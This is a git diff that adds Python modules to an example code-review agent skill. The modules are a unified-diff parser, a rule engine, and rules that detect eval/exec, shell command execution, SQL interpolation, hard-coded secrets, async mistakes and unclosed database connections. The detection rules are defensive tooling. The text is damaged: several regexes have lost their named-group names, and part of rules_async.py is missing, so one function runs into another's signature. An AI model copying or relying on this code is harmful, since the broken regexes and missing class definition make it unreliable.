or review_scope not in allowed_scopes + or analysis_mode not in allowed_analysis_modes + or not isinstance(is_binary, bool) + ): + raise ValueError("input file metadata is invalid") + full_text = full_files.get(file_change.normalized_path) + if full_text is not None: + if is_binary or status == "deleted": + raise ValueError("input full text is invalid for file status") + analysis_mode, warning = _analysis_mode( + file_change.normalized_path, + full_text, + ) + if warning is not None and warning not in parse_warnings: + parse_warnings.append(warning) + restored_files.append( + replace( + file_change, + status=status, + review_scope=review_scope, + full_text=full_text, + analysis_mode=analysis_mode, + is_binary=is_binary, + ) + ) + + return replace( + change_set, + source_kind=source_kind, + input_sha256=input_sha256, + files=tuple(restored_files), + parse_warnings=tuple(parse_warnings), + ) + + +def parse_unified_diff( + diff_text: str, + *, + source_kind: str = "diff_file", +) -> ChangeSet: + """解析统一 diff,保留新旧侧行号、范围和安全解析摘要。""" + + """Parse unified diff text into the shared review domain model.""" + + if source_kind not in {"diff_file", "repo_path", "fixture"}: + raise ValueError("source_kind must describe a diff input") + input_sha256 = hashlib.sha256(diff_text.encode("utf-8")).hexdigest() + lines = diff_text.replace("\r\n", "\n").replace("\r", "\n").splitlines() + files: List[FileChange] = [] + parse_warnings: List[str] = [] + index = 0 + + while index < len(lines): + is_git_header = lines[index].startswith("diff --git ") + is_plain_header = ( + lines[index].startswith("--- ") + and index + 1 < len(lines) + and lines[index + 1].startswith("+++ ") + ) + if not is_git_header and not is_plain_header: + index += 1 + continue + + if is_git_header: + old_path, new_path = _parse_git_header(lines[index]) + index += 1 + seen_file_markers = False + else: + old_path = _parse_file_marker(lines[index]) + new_path = _parse_file_marker(lines[index + 1]) + index += 2 + seen_file_markers = True + hunks: List[Hunk] = [] + hunk_missing_newline: List[bool] = [] + is_binary = False + is_rename = False + file_mode_status = None + + while index < len(lines) and not lines[index].startswith("diff --git "): + line = lines[index] + if ( + seen_file_markers + and line.startswith("--- ") + and index + 1 < len(lines) + and lines[index + 1].startswith("+++ ") + ): + break + if line.startswith("--- "): + old_path = _parse_file_marker(line) + seen_file_markers = True + elif line.startswith("+++ "): + new_path = _parse_file_marker(line) + elif line.startswith("rename from "): + old_path = _normalize_path( + _decode_git_path(line[len("rename from "):]) + ) + is_rename = True + elif line.startswith("rename to "): + new_path = _normalize_path( + _decode_git_path(line[len("rename to "):]) + ) + is_rename = True + elif line.startswith(("Binary files ", "GIT binary patch")): + is_binary = True + elif line.startswith("new file mode "): + file_mode_status = "added" + elif line.startswith("deleted file mode "): + file_mode_status = "deleted" + elif line.startswith("@@ "): + hunk, index, missing_newline = _parse_hunk(lines, index) + hunks.append(hunk) + hunk_missing_newline.append(missing_newline) + continue + index += 1 + + if old_path == "/dev/null" or file_mode_status == "added": + status = "added" + old_path = "/dev/null" + elif new_path == "/dev/null" or file_mode_status == "deleted": + status = "deleted" + new_path = "/dev/null" + elif is_rename: + status = "renamed" + else: + status = "modified" + normalized_path = old_path if status == "deleted" else new_path + old_changed_lines = tuple( + line_number + for hunk in hunks + for line_number in hunk.deleted_lines + ) + new_changed_lines = tuple( + line_number + for hunk in hunks + for line_number in hunk.added_lines + ) + full_text = None + if status == "added" and not is_binary: + full_text = _reconstruct_added_file( + tuple(hunks), + final_line_missing_newline=( + hunk_missing_newline[-1] if hunk_missing_newline else False + ), + ) + + if is_binary: + review_scope = "skipped" + analysis_mode = "skipped" + elif status == "added" and full_text is not None: + review_scope = "full_file" + analysis_mode, parse_warning = _analysis_mode(normalized_path, full_text) + if parse_warning is not None: + parse_warnings.append(parse_warning) + else: + review_scope = ( + "deleted_lines" if status == "deleted" else "changed_lines" + ) + analysis_mode = "diff_heuristic" + files.append( + FileChange( + old_path=old_path, + new_path=new_path, + normalized_path=normalized_path, + status=status, + review_scope=review_scope, + is_binary=is_binary, + hunks=tuple(hunks), + old_changed_lines=old_changed_lines, + new_changed_lines=new_changed_lines, + full_text=full_text, + analysis_mode=analysis_mode, + ) + ) + + return ChangeSet( + source_kind=source_kind, + input_sha256=input_sha256, + files=tuple(files), + file_count=len(files), + hunk_count=sum(len(file_change.hunks) for file_change in files), + additions=sum( + len(hunk.added_lines) + for file_change in files + for hunk in file_change.hunks + ), + deletions=sum( + len(hunk.deleted_lines) + for file_change in files + for hunk in file_change.hunks + ), + parse_warnings=tuple(parse_warnings), + ) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/rule_engine.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rule_engine.py new file mode 100644 index 000000000..1cbade625 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rule_engine.py @@ -0,0 +1,209 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Standard-library-only deterministic review engine.""" + +from __future__ import annotations + +import io +import tokenize +from dataclasses import dataclass +from typing import List, Protocol, Sequence, Tuple + +from .diff_parser import ChangeSet, Hunk +from .secret_rules import detect_change_set_secrets + + +_SEVERITIES = frozenset({"critical", "high", "medium", "low", "info"}) +_SOURCES = frozenset({"rule-engine", "ast", "heuristic"}) + + +def mask_non_code_line(line: str) -> Tuple[str, Tuple[str, ...]]: + """屏蔽注释和普通字符串,同时保留 f-string 的插值标记。""" + + masked = list(line) + f_strings: List[str] = [] + try: + tokens = tokenize.generate_tokens(io.StringIO(f"{line}\n").readline) + for token in tokens: + if token.type == tokenize.COMMENT: + start, end = token.start[1], token.end[1] + masked[start:end] = " " * (end - start) + elif token.type == tokenize.STRING: + start, end = token.start[1], token.end[1] + masked[start:end] = " " * (end - start) + if token.string.lower().lstrip("rub").startswith("f"): + f_strings.append(token.string) + except (tokenize.TokenError, IndentationError): + comment_index = line.find("#") + if comment_index >= 0: + masked[comment_index:] = " " * (len(line) - comment_index) + return "".join(masked), tuple(f_strings) + + +def advance_triple_quote_state( + line: str, + active_delimiter: str | None, +) -> Tuple[str | None, bool]: + """推进三引号字符串状态,并屏蔽属于 docstring 的整行。""" + + if active_delimiter is not None: + return ( + (None if active_delimiter in line else active_delimiter), + True, + ) + if line.lstrip().startswith("#"): + return None, False + for delimiter in ('"""', "'''"): + start = line.find(delimiter) + if start < 0: + continue + end = line.find(delimiter, start + len(delimiter)) + return (None if end >= 0 else delimiter), True + return None, False + + +def hunk_new_side_lines(hunk: Hunk) -> Tuple[Tuple[int, str, bool], ...]: + """按行号返回 hunk 新侧行及其是否为新增行的稳定序列。""" + + lines = { + line_number: (line_text, False) + for line_number, line_text in hunk.context_lines.items() + } + lines.update( + { + line_number: (line_text, True) + for line_number, line_text in hunk.added_lines.items() + } + ) + return tuple( + (line_number, line_text, is_added) + for line_number, (line_text, is_added) in sorted(lines.items()) + ) + + +@dataclass(frozen=True) +class RuleMatch: + """A pre-deduplication, already-redacted deterministic rule result.""" + + rule_id: str + category: str + severity: str + confidence: float + file: str + line: int + title: str + evidence: str + recommendation: str + source: str = "rule-engine" + line_side: str = "new" + + def __post_init__(self) -> None: + """校验规则元数据的标识、严重级别和置信度范围。""" + + if not self.rule_id or not self.category: + raise ValueError("rule_id and category must be non-empty") + if self.severity not in _SEVERITIES: + raise ValueError("severity is invalid") + if not 0.0 <= self.confidence <= 1.0: + raise ValueError("confidence must be between 0 and 1") + if not self.file or self.line < 1: + raise ValueError("file and line must identify a real source line") + if self.source not in _SOURCES: + raise ValueError("source is invalid") + if self.line_side not in {"new", "old"}: + raise ValueError("line_side is invalid") + + +class ReviewRule(Protocol): + """The plug-in contract shared by all deterministic review rules.""" + + rule_id: str + category: str + severity: str + confidence: float + requires_full_file: bool + + def match(self, change_set: ChangeSet) -> Tuple[RuleMatch, ...]: + """针对一个已解析审查输入返回已脱敏的规则匹配结果。""" + + +@dataclass(frozen=True) +class SecretRule: + """Adapt the A3 detector to the common deterministic rule protocol.""" + + rule_id: str = "secrets.detect" + category: str = "secrets" + severity: str = "high" + confidence: float = 0.95 + requires_full_file: bool = False + + def match(self, change_set: ChangeSet) -> Tuple[RuleMatch, ...]: + """从变更集检测敏感信息,并保留新旧侧真实坐标。""" + + matches = [] + for location in detect_change_set_secrets(change_set): + recommendation = ( + "Revoke and rotate the exposed credential, then load it from " + "a secret manager or protected environment variable." + ) + if location.line_side == "old": + recommendation = ( + "Treat the deleted credential as exposed in history; revoke " + "and rotate it, then verify the replacement is managed safely." + ) + matches.append( + RuleMatch( + rule_id=f"secrets.{location.secret_type}", + category=self.category, + severity=self.severity, + confidence=location.confidence, + file=location.file, + line=location.line, + title="Potential hard-coded secret", + evidence=location.evidence, + recommendation=recommendation, + source="rule-engine", + line_side=location.line_side, + ) + ) + return tuple(matches) + + +class RuleEngine: + """Run a stable sequence of rules through one dispatching boundary.""" + + def __init__(self, rules: Sequence[ReviewRule]) -> None: + """保存按固定顺序执行的不可变规则集合。""" + + self._rules = tuple(rules) + + @property + def rules(self) -> Tuple[ReviewRule, ...]: + """暴露供 manifest 和诊断使用的不可变规则元数据。""" + + return self._rules + + def match(self, change_set: ChangeSet) -> Tuple[RuleMatch, ...]: + """分发全部规则并在去重前对匹配结果进行稳定排序。""" + + matches = [] + for rule in self._rules: + matches.extend(rule.match(change_set)) + return tuple( + sorted( + matches, + key=lambda item: ( + item.file, + item.line_side != "new", + item.line, + item.category, + item.rule_id, + ), + ) + ) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_ast.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_ast.py new file mode 100644 index 000000000..706aa379b --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_ast.py @@ -0,0 +1,531 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Full-file AST confirmation for deterministic Python security findings. + +The diff parser owns syntax validation and records a sanitized warning when a +complete Python file cannot be parsed. This module never attempts AST parsing +for hunk-only inputs, deleted files, or parser-downgraded files. A changed-line +review may only report an AST node that intersects a newly changed line. +""" + +from __future__ import annotations + +import ast +import re +from dataclasses import dataclass +from typing import Dict, List, Set, Tuple + +from .diff_parser import ChangeSet +from .rule_engine import ReviewRule, RuleMatch +from .secret_rules import redact_text + + +_SQL_KEYWORDS = re.compile(r"\b(?:select|insert|update|delete)\b", re.IGNORECASE) + + +@dataclass(frozen=True) +class _ASTCandidate: + """One AST-confirmed dangerous construct before review-scope filtering.""" + + rule_id: str + severity: str + title: str + start_line: int + end_line: int + + +class _SecurityVisitor(ast.NodeVisitor): + """Collect the A4 security patterns from an already validated AST.""" + + def __init__(self) -> None: + """初始化候选集合以及受支持的导入别名映射。""" + + self.candidates: List[_ASTCandidate] = [] + self.module_alias_scopes: List[Dict[str, str]] = [{}] + self.callable_alias_scopes: List[Dict[str, str]] = [{}] + self.shadowed_name_scopes: List[Set[str]] = [set()] + + def visit_Import(self, node: ast.Import) -> None: + """记录 builtins、os 和 subprocess 的显式模块别名。""" + + for alias in node.names: + if alias.name not in {"builtins", "os", "subprocess"}: + continue + local_name = alias.asname or alias.name + self._bind_module_alias(local_name, alias.name) + + def visit_ImportFrom(self, node: ast.ImportFrom) -> None: + """记录可确定来源的危险函数导入别名。""" + + supported = { + ("builtins", "eval"): "builtins.eval", + ("builtins", "exec"): "builtins.exec", + ("os", "system"): "os.system", + ("os", "popen"): "os.popen", + ("subprocess", "getoutput"): "subprocess.getoutput", + ( + "subprocess", + "getstatusoutput", + ): "subprocess.getstatusoutput", + } + for alias in node.names: + canonical = supported.get((node.module, alias.name)) + if canonical is not None: + self._bind_callable_alias( + alias.asname or alias.name, + canonical, + ) + + def visit_Assign(self, node: ast.Assign) -> None: + """按 Python 求值顺序访问赋值,并使重绑定名称失效。""" + + self.visit(node.value) + for target in node.targets: + self._shadow_target(target) + + def visit_AnnAssign(self, node: ast.AnnAssign) -> None: + """访问带类型标注的赋值,并使重绑定名称失效。""" + + if node.value is not None: + self.visit(node.value) + self._shadow_target(node.target) + + def visit_FunctionDef(self, node: ast.FunctionDef) -> None: + """在独立函数作用域中访问同步函数体。""" + + self._visit_function(node) + + def visit_AsyncFunctionDef(self, node: ast.AsyncFunctionDef) -> None: + """在独立函数作用域中访问异步函数体。""" + + self._visit_function(node) + + def visit_Lambda(self, node: ast.Lambda) -> None: + """在独立参数作用域中访问 lambda 表达式。""" + + self._push_scope(self._argument_names(node.args)) + self.visit(node.body) + self._pop_scope() + + def visit_Call(self, node: ast.Call) -> None: + """检查一次调用中的动态执行、命令执行和 shell 参数。""" + + self._record_sql_format(node) + self._record_dynamic_code(node) + self._record_os_system(node) + self._record_subprocess_shell(node) + self.generic_visit(node) + + def visit_BinOp(self, node: ast.BinOp) -> None: + """检查通过加法或百分号格式化动态构造的 SQL。""" + + if ( + isinstance(node.op, (ast.Add, ast.Mod)) + and self._contains_sql_text(node) + and self._contains_dynamic_value(node) + ): + self._record( + node, + "security.sql-interpolation", + "high", + "SQL is built with dynamic string interpolation", + ) + self.generic_visit(node) + + def visit_JoinedStr(self, node: ast.JoinedStr) -> None: + """记录包含 SQL 关键字和插值表达式的 f-string 候选项。""" + + constants = [ + value.value + for value in node.values + if isinstance(value, ast.Constant) and isinstance(value.value, str) + ] + if any(_SQL_KEYWORDS.search(value) for value in constants) and any( + isinstance(value, ast.FormattedValue) for value in node.values + ): + self._record( + node, + "security.sql-fstring", + "high", + "SQL is built with an interpolated f-string", + ) + self.generic_visit(node) + + def _record_dynamic_code(self, node: ast.Call) -> None: + """记录直接、限定名或静态 getattr 形式的 eval/exec 调用。""" + + canonical = self._canonical_callable(node.func) + if canonical in {"eval", "builtins.eval"}: + self._record( + node, + "security.dynamic-eval", + "critical", + "Dynamic eval can execute untrusted input", + ) + elif canonical in {"exec", "builtins.exec"}: + self._record( + node, + "security.dynamic-exec", + "critical", + "Dynamic exec can execute untrusted input", + ) + + def _record_sql_format(self, node: ast.Call) -> None: + """记录在 SQL 字符串上调用 format 的动态插值。""" + + if not ( + isinstance(node.func, ast.Attribute) + and node.func.attr == "format" + and self._contains_sql_text(node.func.value) + and (node.args or node.keywords) + ): + return + self._record( + node, + "security.sql-interpolation", + "high", + "SQL is built with dynamic string interpolation", + ) + + def _record_os_system(self, node: ast.Call) -> None: + """记录 os.system、os.popen 及其显式导入别名。""" + + canonical = self._canonical_callable(node.func) + if canonical == "os.system": + self._record( + node, + "security.os-system", + "high", + "os.system invokes a shell command", + ) + elif canonical == "os.popen": + self._record( + node, + "security.os-popen", + "high", + "os.popen invokes a shell command", + ) + + def _record_subprocess_shell(self, node: ast.Call) -> None: + """记录隐式 shell API 以及显式 shell=True 的 subprocess 调用。""" + + canonical = self._canonical_callable(node.func) + if canonical in { + "subprocess.getoutput", + "subprocess.getstatusoutput", + }: + self._record( + node, + "security.subprocess-shell-command", + "high", + "subprocess helper executes through a shell", + ) + return + if canonical not in { + "subprocess.run", + "subprocess.call", + "subprocess.check_call", + "subprocess.check_output", + "subprocess.Popen", + }: + return + if any( + keyword.arg == "shell" + and isinstance(keyword.value, ast.Constant) + and keyword.value.value is True + for keyword in node.keywords + ): + self._record( + node, + "security.subprocess-shell-true", + "high", + "subprocess executes with shell=True", + ) + + def _canonical_callable(self, node: ast.AST) -> str | None: + """把受支持的调用表达式解析为稳定的标准名称。""" + + if isinstance(node, ast.Name): + imported = self._resolve_alias( + node.id, + self.callable_alias_scopes, + ) + if imported is not None: + return imported + if node.id in {"eval", "exec"} and not self._is_bound(node.id): + return node.id + return None + if isinstance(node, ast.Attribute) and isinstance(node.value, ast.Name): + module = self._resolve_alias( + node.value.id, + self.module_alias_scopes, + ) + if module in {"builtins", "os", "subprocess"}: + return f"{module}.{node.attr}" + if ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id == "getattr" + and not self._is_bound("getattr") + and len(node.args) >= 2 + and isinstance(node.args[0], ast.Name) + and isinstance(node.args[1], ast.Constant) + and isinstance(node.args[1].value, str) + ): + module = self._resolve_alias( + node.args[0].id, + self.module_alias_scopes, + ) + if module == "builtins" and node.args[1].value in {"eval", "exec"}: + return f"builtins.{node.args[1].value}" + return None + + def _visit_function( + self, + node: ast.FunctionDef | ast.AsyncFunctionDef, + ) -> None: + """按外层求值和内层函数体两个作用域访问函数定义。""" + + for decorator in node.decorator_list: + self.visit(decorator) + for default in (*node.args.defaults, *node.args.kw_defaults): + if default is not None: + self.visit(default) + if node.returns is not None: + self.visit(node.returns) + self._shadow_name(node.name) + self._push_scope(self._argument_names(node.args)) + for statement in node.body: + self.visit(statement) + self._pop_scope() + + @staticmethod + def _argument_names(arguments: ast.arguments) -> Set[str]: + """返回函数签名中会遮蔽外层名称的全部参数名。""" + + names = { + argument.arg + for argument in ( + *arguments.posonlyargs, + *arguments.args, + *arguments.kwonlyargs, + ) + } + if arguments.vararg is not None: + names.add(arguments.vararg.arg) + if arguments.kwarg is not None: + names.add(arguments.kwarg.arg) + return names + + def _push_scope(self, shadowed_names: Set[str]) -> None: + """压入新的词法作用域和初始遮蔽名称。""" + + self.module_alias_scopes.append({}) + self.callable_alias_scopes.append({}) + self.shadowed_name_scopes.append(set(shadowed_names)) + + def _pop_scope(self) -> None: + """弹出当前词法作用域。""" + + self.module_alias_scopes.pop() + self.callable_alias_scopes.pop() + self.shadowed_name_scopes.pop() + + def _bind_module_alias(self, local_name: str, canonical: str) -> None: + """在当前作用域绑定一个受支持模块别名。""" + + self.shadowed_name_scopes[-1].discard(local_name) + self.callable_alias_scopes[-1].pop(local_name, None) + self.module_alias_scopes[-1][local_name] = canonical + + def _bind_callable_alias(self, local_name: str, canonical: str) -> None: + """在当前作用域绑定一个受支持危险函数别名。""" + + self.shadowed_name_scopes[-1].discard(local_name) + self.module_alias_scopes[-1].pop(local_name, None) + self.callable_alias_scopes[-1][local_name] = canonical + + def _shadow_target(self, target: ast.AST) -> None: + """把赋值目标中的名称标为当前作用域重绑定。""" + + if isinstance(target, ast.Name): + self._shadow_name(target.id) + elif isinstance(target, (ast.Tuple, ast.List)): + for element in target.elts: + self._shadow_target(element) + + def _shadow_name(self, name: str) -> None: + """使当前作用域中的模块或函数别名失效。""" + + self.module_alias_scopes[-1].pop(name, None) + self.callable_alias_scopes[-1].pop(name, None) + self.shadowed_name_scopes[-1].add(name) + + def _resolve_alias( + self, + name: str, + scopes: List[Dict[str, str]], + ) -> str | None: + """从内到外解析别名,并在遇到重绑定时停止。""" + + for index in range(len(scopes) - 1, -1, -1): + if name in self.shadowed_name_scopes[index]: + return None + canonical = scopes[index].get(name) + if canonical is not None: + return canonical + return None + + def _is_bound(self, name: str) -> bool: + """判断名称是否被显式导入、赋值或参数绑定。""" + + return any( + name in shadowed + or name in self.module_alias_scopes[index] + or name in self.callable_alias_scopes[index] + for index, shadowed in enumerate(self.shadowed_name_scopes) + ) + + @staticmethod + def _contains_sql_text(node: ast.AST) -> bool: + """判断表达式是否包含带 SQL 动词的字符串常量。""" + + return any( + isinstance(child, ast.Constant) + and isinstance(child.value, str) + and _SQL_KEYWORDS.search(child.value) + for child in ast.walk(node) + ) + + @staticmethod + def _contains_dynamic_value(node: ast.AST) -> bool: + """判断字符串二元表达式是否混入了非常量值。""" + + return any( + isinstance(child, (ast.Name, ast.Attribute, ast.Call, ast.Subscript)) + for child in ast.walk(node) + ) + + def _record(self, node: ast.AST, rule_id: str, severity: str, title: str) -> None: + """将 AST 命中转换为带源码范围的内部安全候选项。""" + + start_line = getattr(node, "lineno", 0) + end_line = getattr(node, "end_lineno", start_line) or start_line + self.candidates.append( + _ASTCandidate( + rule_id=rule_id, + severity=severity, + title=title, + start_line=start_line, + end_line=end_line, + ) + ) + + +def _ast_candidates(full_text: str) -> Tuple[_ASTCandidate, ...]: + """防御性解析一个完整文件,并返回稳定的安全候选集合。""" + + try: + tree = ast.parse(full_text) + except (SyntaxError, ValueError, RecursionError): + # The parser normally prevents this path and records the warning there. + return () + visitor = _SecurityVisitor() + visitor.visit(tree) + return tuple(visitor.candidates) + + +def _review_line(candidate: _ASTCandidate, review_scope: str, changed_lines: Tuple[int, ...]) -> int | None: + """返回审查范围内的主定位,必要时锚定到真实变更行。""" + + if review_scope == "full_file": + return candidate.start_line + if review_scope != "changed_lines": + return None + for line in changed_lines: + if candidate.start_line <= line <= candidate.end_line: + return line + return None + + +def _source_line(full_text: str, line_number: int) -> str: + """安全返回一行源码,且不泄漏越界异常细节。""" + + lines = full_text.splitlines() + return lines[line_number - 1] if 1 <= line_number <= len(lines) else "" + + +def _recommendation(rule_id: str) -> str: + """返回一个受支持 AST 规则的确定性修复建议。""" + + recommendations = { + "security.dynamic-eval": "Replace eval with a strict parser or allowlisted dispatch table.", + "security.dynamic-exec": "Remove exec and use explicit, allowlisted program behavior.", + "security.os-system": "Use subprocess with shell disabled and a validated argument list.", + "security.os-popen": "Use subprocess with shell disabled and a validated argument list.", + "security.subprocess-shell-command": ( + "Use subprocess with shell disabled, pass an argument list, and validate all command inputs." + ), + "security.subprocess-shell-true": "Pass an argument list with shell disabled and validate all command inputs.", + "security.sql-fstring": "Use parameterized queries and bind user-controlled values separately.", + "security.sql-interpolation": "Use parameterized queries and bind user-controlled values separately.", + } + return recommendations[rule_id] + + +@dataclass(frozen=True) +class ASTSecurityRule: + """AST confirmation for A4 security rules when a complete Python file exists.""" + + rule_id: str = "security.ast-confirmation" + category: str = "security" + severity: str = "high" + confidence: float = 0.92 + requires_full_file: bool = True + + def match(self, change_set: ChangeSet) -> Tuple[RuleMatch, ...]: + """对可完整解析的 Python 文件执行 AST 安全规则并限制报告范围。""" + + matches: List[RuleMatch] = [] + for file_change in change_set.files: + if file_change.is_binary or not file_change.normalized_path.endswith(".py"): + continue + if file_change.review_scope not in {"changed_lines", "full_file"}: + continue + if file_change.full_text is None or file_change.analysis_mode != "ast_validated": + continue + for candidate in _ast_candidates(file_change.full_text): + line = _review_line( + candidate, + file_change.review_scope, + file_change.new_changed_lines, + ) + if line is None: + continue + matches.append( + RuleMatch( + rule_id=candidate.rule_id, + category=self.category, + severity=candidate.severity, + confidence=self.confidence, + file=file_change.normalized_path, + line=line, + title=candidate.title, + evidence=redact_text(_source_line(file_change.full_text, line)), + recommendation=_recommendation(candidate.rule_id), + source="ast", + ) + ) + return tuple(matches) + + +def default_ast_rules() -> Tuple[ReviewRule, ...]: + """返回确定性的完整文件 AST 安全规则包。""" + + return (ASTSecurityRule(),) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_async.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_async.py new file mode 100644 index 000000000..0a558c34e --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_async.py @@ -0,0 +1,158 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Line-oriented asynchronous-code rules for the deterministic rule pack.""" + +from __future__ import annotations + +import re +from dataclasses import dataclass +from typing import Callable, Set, Tuple + +from .diff_parser import ChangeSet +from .rule_engine import ( + ReviewRule, + RuleMatch, + advance_triple_quote_state, + hunk_new_side_lines, + mask_non_code_line, +) +from .secret_rules import redact_text + + +_ASYNC_DEF = re.compile(r"^(?P\s*)async\s+def\s+(?P[A-Za-z_]\w*)\s*\(") +_TIME_SLEEP = re.compile(r"\btime\.sleep\s*\(") +_ASYNCIO_SLEEP = re.compile(r"\basyncio\.sleep\s*\(") +_AWAIT = re.compile(r"\bawait\b") +_SCHEDULED = re.compile(r"\b(?:create_task|ensure_future|gather)\s*\(") + + +def _async_function_names(change_set: ChangeSet) -> Set[str]: + """收集变更中可见的异步函数名,供未 await 检测使用。""" + + names = set() + for file_change in change_set.files: + if file_change.is_binary or not file_change.normalized_path.endswith(".py"): + continue + for hunk in file_change.hunks: + for _, line_text, _ in hunk_new_side_lines(hunk): + match = _ASYNC_DEF.match(line_text) + if match is not None: + names.add(match.group("name")) + return names + + +def _is_async_scope_line( + line_text: str, + active_indent: int | None, +) -> Tuple[int | None, bool]: + """推进基于缩进的异步作用域,并返回当前行是否在该作用域内。""" + + definition = _ASYNC_DEF.match(line_text) + if definition is not None: + return len(definition.group("indent")), False + stripped = line_text.strip() + if active_indent is None or not stripped or stripped.startswith("#"): + return active_indent, active_indent is not None + indent = len(line_text) - len(line_text.lstrip()) + if indent <= active_indent: + return None, False + return active_indent, True + + +def _blocking_sleep(code: str, _async_names: Set[str]) -> bool: + """判断异步作用域代码是否调用阻塞的 ``time.sleep``。""" + + return bool(_TIME_SLEEP.search(code)) + + +def _unawaited_coroutine(code: str, async_names: Set[str]) -> bool: + """判断异步调用是否既未 await 也未被已知调度 API 接管。""" + + if _AWAIT.search(code) or _SCHEDULED.search(code): + return False + if _ASYNCIO_SLEEP.search(code): + return True + return any(re.search(rf"(? Tuple[RuleMatch, ...]: + """扫描新增 Python 行,生成异步阻塞与未等待协程候选项。""" + + matches = [] + async_names = _async_function_names(change_set) + for file_change in change_set.files: + if file_change.is_binary or not file_change.normalized_path.endswith(".py"): + continue + if file_change.review_scope == "deleted_lines": + continue + for hunk in file_change.hunks: + async_indent = None + triple_quote = None + for line_number, line_text, is_added in hunk_new_side_lines(hunk): + triple_quote, is_triple_quoted = advance_triple_quote_state( + line_text, + triple_quote, + ) + async_indent, in_async_scope = _is_async_scope_line(line_text, async_indent) + if not is_added or is_triple_quoted or not in_async_scope: + continue + code, _ = mask_non_code_line(line_text) + if not self.detector(code, async_names): + continue + matches.append( + RuleMatch( + rule_id=self.rule_id, + category=self.category, + severity=self.severity, + confidence=self.confidence, + file=file_change.normalized_path, + line=line_number, + title=self.title, + evidence=redact_text(line_text), + recommendation=self.recommendation, + source="heuristic", + ) + ) + return tuple(matches) + + +def default_async_rules() -> Tuple[ReviewRule, ...]: + """按稳定执行顺序返回异步错误规则包。""" + + return ( + AsyncRule( + rule_id="async.blocking-time-sleep", + severity="high", + confidence=0.84, + title="time.sleep blocks an async function", + recommendation="Use await asyncio.sleep or move blocking work to a controlled executor.", + detector=_blocking_sleep, + ), + AsyncRule( + rule_id="async.unawaited-coroutine", + severity="medium", + confidence=0.76, + title="Coroutine call is not awaited or scheduled", + recommendation="Await the coroutine or schedule it explicitly with a tracked task.", + detector=_unawaited_coroutine, + ), + ) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_db.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_db.py new file mode 100644 index 000000000..604644358 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_db.py @@ -0,0 +1,120 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Database connection and transaction lifecycle rules.""" + +from __future__ import annotations + +import re +from dataclasses import dataclass +from typing import Tuple + +from .diff_parser import ChangeSet +from .rule_engine import ( + ReviewRule, + RuleMatch, + advance_triple_quote_state, + hunk_new_side_lines, + mask_non_code_line, +) +from .secret_rules import redact_text + + +@dataclass(frozen=True) +class DbLifecycleRule: + """Detect a resource creation without its required lifecycle finalizer.""" + + rule_id: str + constructor: re.Pattern[str] + finalizer_template: str + severity: str + confidence: float + title: str + recommendation: str + category: str = "db-lifecycle" + requires_full_file: bool = False + + def match(self, change_set: ChangeSet) -> Tuple[RuleMatch, ...]: + """检查新增 Python hunk 中连接和显式事务是否缺少收尾。""" + + matches = [] + for file_change in change_set.files: + if file_change.is_binary or not file_change.normalized_path.endswith(".py"): + continue + if file_change.review_scope == "deleted_lines": + continue + for hunk in file_change.hunks: + triple_quote = None + lines = [] + for line_number, line_text, is_added in hunk_new_side_lines(hunk): + triple_quote, is_triple_quoted = advance_triple_quote_state( + line_text, + triple_quote, + ) + if is_triple_quoted: + continue + code, _ = mask_non_code_line(line_text) + lines.append((line_number, line_text, code, is_added)) + for line_number, line_text, code, is_added in lines: + if not is_added: + continue + candidate = self.constructor.search(code) + if candidate is None: + continue + variable = candidate.group("variable") + finalizer = re.compile(self.finalizer_template.format(variable=re.escape(variable))) + if any(finalizer.search(other_code) for _, _, other_code, _ in lines): + continue + matches.append( + RuleMatch( + rule_id=self.rule_id, + category=self.category, + severity=self.severity, + confidence=self.confidence, + file=file_change.normalized_path, + line=line_number, + title=self.title, + evidence=redact_text(line_text), + recommendation=self.recommendation, + source="heuristic", + ) + ) + return tuple(matches) + + +def default_db_rules() -> Tuple[ReviewRule, ...]: + """返回数据库连接与显式事务生命周期规则。""" + + return ( + DbLifecycleRule( + rule_id="db.connection-without-close", + constructor=re.compile( + r"\b(?P[A-Za-z_]\w*)\s*=\s*" + r"(?:sqlite3|psycopg2?|pymysql|mysql(?:\.connector)?|db)\.connect\s*\(" + ), + finalizer_template=r"\b{variable}\.close\s*\(", + severity="medium", + confidence=0.76, + title="Database connection is opened without a visible close", + recommendation="Close the connection with a context manager or a guaranteed finally path.", + ), + DbLifecycleRule( + rule_id="db.transaction-without-finalize", + constructor=re.compile( + r"\b(?P[A-Za-z_]\w*)\s*=\s*[A-Za-z_]\w*\.begin\s*\(" + ), + finalizer_template=r"\b{variable}\.(?:commit|rollback)\s*\(", + severity="high", + confidence=0.82, + title="Explicit transaction has no visible commit or rollback", + recommendation=( + "Commit on success and roll back on failure, preferably through " + "a transaction context manager." + ), + ), + ) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_resource.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_resource.py new file mode 100644 index 000000000..cc0396446 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_resource.py @@ -0,0 +1,111 @@ 